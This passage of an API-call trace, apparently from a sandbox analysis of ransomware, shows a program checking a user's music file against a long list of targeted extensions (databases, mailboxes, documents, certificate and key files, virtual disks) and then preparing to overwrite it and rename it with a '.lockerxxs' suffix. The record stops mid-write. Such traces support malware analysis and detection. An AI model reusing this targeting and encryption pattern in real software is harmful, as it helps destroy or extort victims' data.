HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="4e0x1iOgQKh9y3MivT.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3" [0090.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.ems") returned 0 [0090.478] lstrlenA (lpString="*.ems") returned 5 [0090.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.db") returned 0 [0090.478] lstrlenA (lpString="*.db") returned 4 [0090.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.dbf") returned 0 [0090.478] lstrlenA (lpString="*.dbf") returned 5 [0090.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.myox") returned 0 [0090.478] lstrlenA (lpString="*.myox") returned 6 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.myo") returned 0 [0090.479] lstrlenA (lpString="*.myo") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qbw") returned 0 [0090.479] lstrlenA (lpString="*.qbw") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qbb") returned 0 [0090.479] lstrlenA (lpString="*.qbb") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qbm") returned 0 [0090.479] lstrlenA (lpString="*.qbm") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qbo") returned 0 [0090.479] lstrlenA (lpString="*.qbo") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qbx") returned 0 [0090.479] lstrlenA (lpString="*.qbx") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qba") returned 0 [0090.479] lstrlenA (lpString="*.qba") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qby") returned 0 [0090.479] lstrlenA (lpString="*.qby") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qbj") returned 0 [0090.479] lstrlenA (lpString="*.qbj") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.ofx") returned 0 [0090.479] lstrlenA (lpString="*.ofx") returned 5 [0090.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.qif") returned 0 [0090.480] lstrlenA (lpString="*.qif") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mye") returned 0 [0090.480] lstrlenA (lpString="*.mye") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mbox") returned 0 [0090.480] lstrlenA (lpString="*.mbox") returned 6 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.eml") returned 0 [0090.480] lstrlenA (lpString="*.eml") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.pst") returned 0 [0090.480] lstrlenA (lpString="*.pst") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.ost") returned 0 [0090.480] lstrlenA (lpString="*.ost") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.idx") returned 0 [0090.480] lstrlenA (lpString="*.idx") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.dbx") returned 0 [0090.480] lstrlenA (lpString="*.dbx") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.sql") returned 0 [0090.480] lstrlenA (lpString="*.sql") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mdb") returned 0 [0090.480] lstrlenA (lpString="*.mdb") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.fdb") returned 0 [0090.480] lstrlenA (lpString="*.fdb") returned 5 [0090.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.wab") returned 0 [0090.480] lstrlenA (lpString="*.wab") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.dat") returned 0 [0090.481] lstrlenA (lpString="*.dat") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.txt") returned 0 [0090.481] lstrlenA (lpString="*.txt") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.jpeg") returned 0 [0090.481] lstrlenA (lpString="*.jpeg") returned 6 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.jpg") returned 0 [0090.481] lstrlenA (lpString="*.jpg") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.png") returned 0 [0090.481] lstrlenA (lpString="*.png") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.php") returned 0 [0090.481] lstrlenA (lpString="*.php") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.cs") returned 0 [0090.481] lstrlenA (lpString="*.cs") returned 4 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.cpp") returned 0 [0090.481] lstrlenA (lpString="*.cpp") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.rar") returned 0 [0090.481] lstrlenA (lpString="*.rar") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.zip") returned 0 [0090.481] lstrlenA (lpString="*.zip") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.html") returned 0 [0090.481] lstrlenA (lpString="*.html") returned 6 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.htm") returned 0 [0090.481] lstrlenA (lpString="*.htm") returned 5 [0090.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.xlsx") returned 0 [0090.482] lstrlenA (lpString="*.xlsx") returned 6 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.xls") returned 0 [0090.482] lstrlenA (lpString="*.xls") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mp4") returned 0 [0090.482] lstrlenA (lpString="*.mp4") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.ppt") returned 0 [0090.482] lstrlenA (lpString="*.ppt") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.pptx") returned 0 [0090.482] lstrlenA (lpString="*.pptx") returned 6 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.doc") returned 0 [0090.482] lstrlenA (lpString="*.doc") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.dot") returned 0 [0090.482] lstrlenA (lpString="*.dot") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.docx") returned 0 [0090.482] lstrlenA (lpString="*.docx") returned 6 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.7z") returned 0 [0090.482] lstrlenA (lpString="*.7z") returned 4 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.tar") returned 0 [0090.482] lstrlenA (lpString="*.tar") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.bz2") returned 0 [0090.482] lstrlenA (lpString="*.bz2") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.gz") returned 0 [0090.482] lstrlenA (lpString="*.gz") returned 4 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mkv") returned 0 [0090.482] lstrlenA (lpString="*.mkv") returned 5 [0090.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.eml") returned 0 [0090.483] lstrlenA (lpString="*.eml") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.msg") returned 0 [0090.483] lstrlenA (lpString="*.msg") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.edb") returned 0 [0090.483] lstrlenA (lpString="*.edb") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.accdb") returned 0 [0090.483] lstrlenA (lpString="*.accdb") returned 7 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.odb") returned 0 [0090.483] lstrlenA (lpString="*.odb") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.java") returned 0 [0090.483] lstrlenA (lpString="*.java") returned 6 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.asm") returned 0 [0090.483] lstrlenA (lpString="*.asm") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.pfx") returned 0 [0090.483] lstrlenA (lpString="*.pfx") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.pem") returned 0 [0090.483] lstrlenA (lpString="*.pem") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.p12") returned 0 [0090.483] lstrlenA (lpString="*.p12") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.gpg") returned 0 [0090.483] lstrlenA (lpString="*.gpg") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.vsd") returned 0 [0090.483] lstrlenA (lpString="*.vsd") returned 5 [0090.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.odg") returned 0 [0090.484] lstrlenA (lpString="*.odg") returned 5 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.raw") returned 0 [0090.484] lstrlenA (lpString="*.raw") returned 5 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.nef") returned 0 [0090.484] lstrlenA (lpString="*.nef") returned 5 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.svg") returned 0 [0090.484] lstrlenA (lpString="*.svg") returned 5 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.psd") returned 0 [0090.484] lstrlenA (lpString="*.psd") returned 5 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.vmx") returned 0 [0090.484] lstrlenA (lpString="*.vmx") returned 5 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.vmdk") returned 0 [0090.484] lstrlenA (lpString="*.vmdk") returned 6 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.vdi") returned 0 [0090.484] lstrlenA (lpString="*.vdi") returned 5 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.lay6") returned 0 [0090.484] lstrlenA (lpString="*.lay6") returned 6 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mpeg") returned 0 [0090.484] lstrlenA (lpString="*.mpeg") returned 6 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.djvu") returned 0 [0090.484] lstrlenA (lpString="*.djvu") returned 6 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.tiff") returned 0 [0090.484] lstrlenA (lpString="*.tiff") returned 6 [0090.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.backup") returned 0 [0090.484] lstrlenA (lpString="*.backup") returned 8 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.pdf") returned 0 [0090.485] lstrlenA (lpString="*.pdf") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.cert") returned 0 [0090.485] lstrlenA (lpString="*.cert") returned 6 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.docm") returned 0 [0090.485] lstrlenA (lpString="*.docm") returned 6 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.xlsm") returned 0 [0090.485] lstrlenA (lpString="*.xlsm") returned 6 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.dwg") returned 0 [0090.485] lstrlenA (lpString="*.dwg") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.nd") returned 0 [0090.485] lstrlenA (lpString="*.nd") returned 4 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.tlg") returned 0 [0090.485] lstrlenA (lpString="*.tlg") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.lgb") returned 0 [0090.485] lstrlenA (lpString="*.lgb") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mov") returned 0 [0090.485] lstrlenA (lpString="*.mov") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.xdw") returned 0 [0090.485] lstrlenA (lpString="*.xdw") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.ods") returned 0 [0090.485] lstrlenA (lpString="*.ods") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.wav") returned 0 [0090.485] lstrlenA (lpString="*.wav") returned 5 [0090.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", pszSpec="*.mp3") returned 1 [0090.486] lstrlenA (lpString="*.mp3") returned 5 [0090.486] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3" [0090.486] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3" [0090.486] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3." [0090.486] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3.lockerxxs" [0090.486] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\4e0x1iogqkh9y3mivt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.486] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x696f [0090.487] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xeecf5c40, dwHighDateTime=0x1d5e0bf), lpLastAccessTime=0x407536*(dwLowDateTime=0xf24adca0, dwHighDateTime=0x1d5e1aa), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf24adca0, dwHighDateTime=0x1d5e1aa)) returned 1 [0090.487] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.487] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6949, lpOverlapped=0x0) returned 1 [0090.488] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3") returned="4e0x1iOgQKh9y3MivT.mp3" [0090.488] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.488] WriteFile (in: 